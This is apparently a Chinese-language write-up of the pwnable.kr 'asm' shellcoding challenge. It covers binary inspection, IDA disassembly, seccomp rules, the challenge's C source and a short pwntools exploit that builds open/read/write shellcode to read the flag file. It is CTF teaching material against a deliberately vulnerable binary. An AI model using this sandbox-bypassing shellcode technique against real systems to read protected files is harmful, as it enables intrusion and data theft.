1. 基本信息
file:
$ file asm
asm: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d7401f94b1d6bf6a5afe4b8a9457e71faa2eb5e9, not stripped
注意是64位程序,context要设置arch=‘amd64’
checksec:
$ checksec asm
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
反汇编
工具使用ida
sandbox:
text:0000000000000C50 public sandbox
.text:0000000000000C50 sandbox proc near ; CODE XREF: main+13A↓p
.text:0000000000000C50
.text:0000000000000C50 seccomp_ctx = qword ptr -8
.text:0000000000000C50
.text:0000000000000C50 ; __unwind {
.text:0000000000000C50 push rbp
.text:0000000000000C51 mov rbp, rsp
.text:0000000000000C54 sub rsp, 10h
.text:0000000000000C58 mov edi, 0
.text:0000000000000C5D call _seccomp_init
.text:0000000000000C62 mov [rbp+seccomp_ctx], rax
.text:0000000000000C66 cmp [rbp+seccomp_ctx], 0
.text:0000000000000C6B jnz short loc_C83
.text:0000000000000C6D lea rdi, s ; "seccomp error"
.text:0000000000000C74 call _puts
.text:0000000000000C79 mov edi, 0 ; status
.text:0000000000000C7E call _exit
.text:0000000000000C83 ; ---------------------------------------------------------------------------
.text:0000000000000C83
.text:0000000000000C83 loc_C83: ; CODE XREF: sandbox+1B↑j
.text:0000000000000C83 mov rax, [rbp+seccomp_ctx]
.text:0000000000000C87 mov ecx, 0
.text:0000000000000C8C mov edx, 2 ; open
.text:0000000000000C91 mov esi, 7FFF0000h
.text:0000000000000C96 mov rdi, rax
.text:0000000000000C99 mov eax, 0
.text:0000000000000C9E call _seccomp_rule_add
.text:0000000000000CA3 mov rax, [rbp+seccomp_ctx]
.text:0000000000000CA7 mov ecx, 0
.text:0000000000000CAC mov edx, 0 ; read
.text:0000000000000CB1 mov esi, 7FFF0000h
.text:0000000000000CB6 mov rdi, rax
.text:0000000000000CB9 mov eax, 0
.text:0000000000000CBE call _seccomp_rule_add
.text:0000000000000CC3 mov rax, [rbp+seccomp_ctx]
.text:0000000000000CC7 mov ecx, 0
.text:0000000000000CCC mov edx, 1 ; write
.text:0000000000000CD1 mov esi, 7FFF0000h
.text:0000000000000CD6 mov rdi, rax
.text:0000000000000CD9 mov eax, 0
.text:0000000000000CDE call _seccomp_rule_add
.text:0000000000000CE3 mov rax, [rbp+seccomp_ctx]
.text:0000000000000CE7 mov ecx, 0
.text:0000000000000CEC mov edx, 3Ch ; exit
.text:0000000000000CF1 mov esi, 7FFF0000h
.text:0000000000000CF6 mov rdi, rax
.text:0000000000000CF9 mov eax, 0
.text:0000000000000CFE call _seccomp_rule_add
.text:0000000000000D03 mov rax, [rbp+seccomp_ctx]
.text:0000000000000D07 mov ecx, 0
.text:0000000000000D0C mov edx, 0E7h ; exit_group
.text:0000000000000D11 mov esi, 7FFF0000h
.text:0000000000000D16 mov rdi, rax
.text:0000000000000D19 mov eax, 0
.text:0000000000000D1E call _seccomp_rule_add
.text:0000000000000D23 mov rax, [rbp+seccomp_ctx]
.text:0000000000000D27 mov rdi, rax
.text:0000000000000D2A call _seccomp_load
.text:0000000000000D2F test eax, eax
.text:0000000000000D31 jns short loc_D55
.text:0000000000000D33 mov rax, [rbp+seccomp_ctx]
.text:0000000000000D37 mov rdi, rax
.text:0000000000000D3A call _seccomp_release
.text:0000000000000D3F lea rdi, s ; "seccomp error"
.text:0000000000000D46 call _puts
.text:0000000000000D4B mov edi, 0 ; status
.text:0000000000000D50 call _exit
.text:0000000000000D55 ; ---------------------------------------------------------------------------
main:
.text:0000000000000D64 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000000D64 public main
.text:0000000000000D64 main proc near ; DATA XREF: _start+1D↑o
.text:0000000000000D64
.text:0000000000000D64 var_20 = qword ptr -20h
.text:0000000000000D64 var_14 = dword ptr -14h
.text:0000000000000D64 input = dword ptr -0Ch
.text:0000000000000D64 buf = qword ptr -8
.text:0000000000000D64
.text:0000000000000D64 ; __unwind {
.text:0000000000000D64 push rbp
.text:0000000000000D65 mov rbp, rsp
.text:0000000000000D68 sub rsp, 20h
.text:0000000000000D6C mov [rbp+var_14], edi
.text:0000000000000D6F mov [rbp+var_20], rsi
.text:0000000000000D73 mov rax, cs:stdout_ptr
.text:0000000000000D7A mov rax, [rax]
.text:0000000000000D7D mov ecx, 0 ; n
.text:0000000000000D82 mov edx, 2 ; modes
.text:0000000000000D87 mov esi, 0 ; buf
.text:0000000000000D8C mov rdi, rax ; stream
.text:0000000000000D8F call _setvbuf
.text:0000000000000D94 mov rax, cs:stdin_ptr
.text:0000000000000D9B mov rax, [rax]
.text:0000000000000D9E mov ecx, 0 ; n
.text:0000000000000DA3 mov edx, 1 ; modes
.text:0000000000000DA8 mov esi, 0 ; buf
.text:0000000000000DAD mov rdi, rax ; stream
.text:0000000000000DB0 call _setvbuf ; 111111111111111111111111111
.text:0000000000000DB5 lea rdi, aWelcomeToShell ; "Welcome to shellcoding practice challen"...
.text:0000000000000DBC call _puts
.text:0000000000000DC1 lea rdi, aInThisChalleng ; "In this challenge, you can run your x64"...
.text:0000000000000DC8 call _puts
.text:0000000000000DCD lea rdi, aTryToMakeShell ; "Try to make shellcode that spits flag u"...
.text:0000000000000DD4 call _puts
.text:0000000000000DD9 lea rdi, aIfThisDoesNotC ; "If this does not challenge you. you sho"...
.text:0000000000000DE0 call _puts
.text:0000000000000DE5 mov r9d, 0 ; offset
.text:0000000000000DEB mov r8d, 0 ; fd
.text:0000000000000DF1 mov ecx, 32h ; '2' ; flags
.text:0000000000000DF6 mov edx, 7 ; prot
.text:0000000000000DFB mov esi, 1000h ; len
.text:0000000000000E00 mov edi, 41414000h ; addr
.text:0000000000000E05 call _mmap ; 22222222222222222222222
.text:0000000000000E0A mov [rbp+buf], rax
.text:0000000000000E0E mov rax, [rbp+buf]
.text:0000000000000E12 mov edx, 1000h ; n
.text:0000000000000E17 mov esi, 90h ; c
.text:0000000000000E1C mov rdi, rax ; s
.text:0000000000000E1F call _memset
.text:0000000000000E24 lea rax, stub ; "H1"
.text:0000000000000E2B mov rdi, rax ; s
.text:0000000000000E2E call _strlen
.text:0000000000000E33 mov rdx, rax ; n
.text:0000000000000E36 mov rax, [rbp+buf]
.text:0000000000000E3A lea rcx, stub ; "H1"
.text:0000000000000E41 mov rsi, rcx ; src
.text:0000000000000E44 mov rdi, rax ; dest
.text:0000000000000E47 call _memcpy ; 33333333333333333333333333333
.text:0000000000000E4C mov [rbp+input], 2Eh ; '.'
.text:0000000000000E53 lea rdi, format ; "give me your x64 shellcode: "
.text:0000000000000E5A mov eax, 0
.text:0000000000000E5F call _printf
.text:0000000000000E64 mov eax, [rbp+input]
.text:0000000000000E67 movsxd rdx, eax
.text:0000000000000E6A mov rax, [rbp+buf]
.text:0000000000000E6E add rax, rdx
.text:0000000000000E71 mov edx, 3E8h ; nbytes
.text:0000000000000E76 mov rsi, rax ; buf
.text:0000000000000E79 mov edi, 0 ; fd
.text:0000000000000E7E call _read ; 444444444444444444444444444
.text:0000000000000E83 mov edi, 0Ah ; seconds
.text:0000000000000E88 call _alarm
.text:0000000000000E8D lea rdi, path ; "/home/asm_pwn"
.text:0000000000000E94 call _chroot
.text:0000000000000E99 mov eax, 0
.text:0000000000000E9E call sandbox ; 55555555555555555555555555
.text:0000000000000EA3 mov rax, [rbp+buf]
.text:0000000000000EA7 call rax ; 666666666666666666666666666666666
.text:0000000000000EA9 mov eax, 0
.text:0000000000000EAE leave
.text:0000000000000EAF retn
.text:0000000000000EAF ; } // starts at D64
.text:0000000000000EAF main endp
流程梳理
- setvbuf 标准输出设置无缓冲, 标准输入设置行缓冲;
- mmap申请空间,大小0x1000,可读可写可执行(prot==7),以0x90(nop)填充;
- 往申请的空间里拷贝一段数据(因为是可执行的,所以调试时反汇编看一下);
- 读取用户输入;
- 设置一个定时器,执行chroot切换根目录,执行sandbox,仅允许调用read, write, open;
- 执行mmap申请的空间里的代码。
反汇编第三步的数据, 逻辑是清零各个寄存器,无妨:
pwndbg> x /30i 0x5555557560c0
0x5555557560c0 <stub>: xor rax,rax
0x5555557560c3 <stub+3>: xor rbx,rbx
0x5555557560c6 <stub+6>: xor rcx,rcx
0x5555557560c9 <stub+9>: xor rdx,rdx
0x5555557560cc <stub+12>: xor rsi,rsi
0x5555557560cf <stub+15>: xor rdi,rdi
0x5555557560d2 <stub+18>: xor rbp,rbp
0x5555557560d5 <stub+21>: xor r8,r8
0x5555557560d8 <stub+24>: xor r9,r9
0x5555557560db <stub+27>: xor r10,r10
0x5555557560de <stub+30>: xor r11,r11
0x5555557560e1 <stub+33>: xor r12,r12
0x5555557560e4 <stub+36>: xor r13,r13
0x5555557560e7 <stub+39>: xor r14,r14
0x5555557560ea <stub+42>: xor r15,r15
_seccomp_rule_add中的系统调用号参数:
#define __NR_read 0
#define __NR_write 1
#define __NR_open 2
#define __NR_exit 60
#define __NR_exit_group 231
2. 相关知识
seccomp
Seccomp常被用来做沙箱保护,它可以限制/允许一些api的使用。seccomp在ctf中大多用于禁用execve函数(arg_cnt参数为0),解决办法就是构造shellcode,用open->read->write的方式读flag.
安装相关库:
sudo apt install libseccomp-dev libseccomp2 seccomp
Demo可以参考api官网或本题源码。
3. exp
from pwn import *
p = process("./asm")
context(arch='amd64', os='linux')
shellcode = ""
shellcode = shellcraft.amd64.pushstr("this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong")
shellcode += shellcraft.amd64.linux.open('rsp',0,0)
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)
p.recvuntil('shellcode: ')
p.send(asm(shellcode))
print(p.recvline())
执行 sudo python3 exp.py
4. 源码
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
#define LENGTH 128
void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
seccomp_release(ctx);
}
char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);
printf("Welcome to shellcoding practice challenge.\n");
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
printf("If this does not challenge you. you should play 'asg' challenge :)\n");
char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));
int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);
alarm(10);
chroot("/home/asm_pwn");
sandbox();
((void (*)(void))sh)();
return 0;
}
5. 参考文章
seccomp的学习_瓦雪子的博客-CSDN博客_
seccomp(2) - Linux manual page (man7.org)
setbuf(3) - Linux manual page (man7.org)
C 库函数 – setvbuf() | 菜鸟教程 (runoob.com)
mmap(3p) - Linux manual page (man7.org)
Seccomp从0到1 - 安全客,安全资讯平台 (anquanke.com)
pwnlib.shellcraft.amd64 — Shellcode for AMD64 — pwntools 4.7.0 documentation
|